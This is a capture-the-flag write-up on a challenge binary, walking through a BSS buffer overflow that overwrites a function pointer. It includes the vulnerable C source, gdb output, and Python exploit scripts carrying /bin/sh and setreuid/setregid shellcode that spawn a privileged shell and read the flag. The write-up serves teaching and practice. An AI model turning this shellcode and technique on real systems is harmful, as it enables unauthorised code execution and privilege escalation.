ELF x86 - BSS buffer overflow

Abdoulkader MOUSSA MOHAMED

April 2023

1 Search vulnerability

Here are the protections on the program :

× Position Independent Executable

× Read Only relocations

× Pile non exécutable

× Tas non exécutable

× Distribution aléatoire de l'espace d'adressage

× Source Fortification

× Stack-Smashing Protection

✓ Accès au code source

Let's firstly read the source code of our program.

```
char username[512] = {1};
void (*_atexit)(int) =  exit;

void cp_username(char *name, const char *arg)
{
  while((*(name++) = *(arg++)));
  *name = 0;
}

int main(int argc, char **argv)
```

```c
{
  if(argc != 2)
    {
      printf("[-] Usage : %s <username>\n", argv[0]);
      exit(0);
    }

  cp_username(username, argv[1]);
  printf("[+] Running program with username : %s\n", username);

  _atexit(0);
  return 0;
}
```

We notice that :

- The input data provided to the program (in the command line) will be stored in the buffer `username`. However, the length of the data is not controlled, while the size of the buffer `username` is limited. This makes the program vulnerable to buffer overflow attacks.

- the buffer `username` is located in the `.bss` section, not in the stack.

- By overwriting the buffer `username`, we can write in `_atexist` and therefore control to what it points.

- `_atexist` is called inside `main`.

2 Exploit it !

We will write the address of the buffer `username` inside `_atexist`. To do it, lets get the address of `username` using `gdb`.

```
(gdb) run
Starting program: /challenge/app-systeme/ch7/ch7

Breakpoint 1, 0x080484aa in main ()
(gdb) print &username
$1 = (<data variable, no debug info> *) 0x804a040 <username>
```

So `username` is at `0x804a040`.

Let's prepare a python script to exploit our program. The shell code is 50 bytes in size and is designed to launch a `/bin/sh` shell.

```python
#!/usr/bin/python
import sys
# Padding with NOPs
buffer = b'\x90' * (512 - 50)

# Shellcode (size: 50 bytes)
```

```
buffer += \
(
b'\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b'
b'\x33\xd2\x89\x56\x07\x89\x56\x0f'
b'\xb8\x1b\x56\x34\x12\x35\x10\x56'
b'\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd'
b'\x80\x33\xc0\x40\xcd\x80\xe8\xd7'
b'\xff\xff\xff/bin/sh')

buffer += b'\x40\xa0\x04\x08' # 0x0804a040

# Printing out the buffer
print(buffer)
```

We can now launch our program :

```
app-systeme-ch7@challenge02:~$ ./ch7 "$(python /tmp/script.py)"
[+] Running program with username : ...
$ id
uid=1107(app-systeme-ch7) gid=1107(app-systeme-ch7) groups=1107(app-systeme-ch7),100(users)
```

We successfully got a `shell` but we have not `root` privilege.

We need to update our shellcode by adding to it `setreuid`(syscall number `0x46`) and `setregid` (syscall number `0x47`).

We do it in assembly language, then assemble it to obtain its opcodes, and finally append those opcodes to our shell code :

```
.text
.globl main

main:
        # setreuid
        mov $0x4b7, %cx
        mov $0x4b7, %bx
        xor %eax, %eax
        mov $0x46, %al
        int $0x80

        # setregid
        mov $0x4b7, %cx
        mov $0x4b7, %bx
        xor %eax, %eax
        mov $0x47, %al
        int $0x80
```

Here is the complete script :

```
#!/usr/bin/python
import sys
# Padding with NOPs
buffer = b'\x90' * (512 - 28 - 50)
```

```

# Shellcode (size: 28 + 50 bytes)
buffer += \
(
b'\x66\xb9\xb7\x04'
b'\x66\xbb\xb7\x04'
b'\x31\xc0'
b'\xb0\x46'
b'\xcd\x80'
b'\x66\xb9\xb7\x04'
b'\x66\xbb\xb7\x04'
b'\x31\xc0'
b'\xb0\x47'
b'\xcd\x80'
b'\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b'
b'\x33\xd2\x89\x56\x07\x89\x56\x0f'
b'\xb8\x1b\x56\x34\x12\x35\x10\x56'
b'\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd'
b'\x80\x33\xc0\x40\xcd\x80\xe8\xd7'
b'\xff\xff\xff/bin/sh')

buffer += b'\x40\xa0\x04\x08' # 0x0804a040

# Printing out the buffer
print(buffer)
```

Let's run it and get our flag :

```
app-systeme-ch7@challenge02:~$ ./ch7 "$(python /tmp/script2.py)"
[+] Running program with username : ..

$ id
uid=1207(app-systeme-ch7-cracked) gid=1107(app-systeme-ch7) groups=1107(app-systeme-ch7),100(users)
$ cat .passwd
flag**********
```

3 How to correct it

We can correct it by controlling the `size` of input data.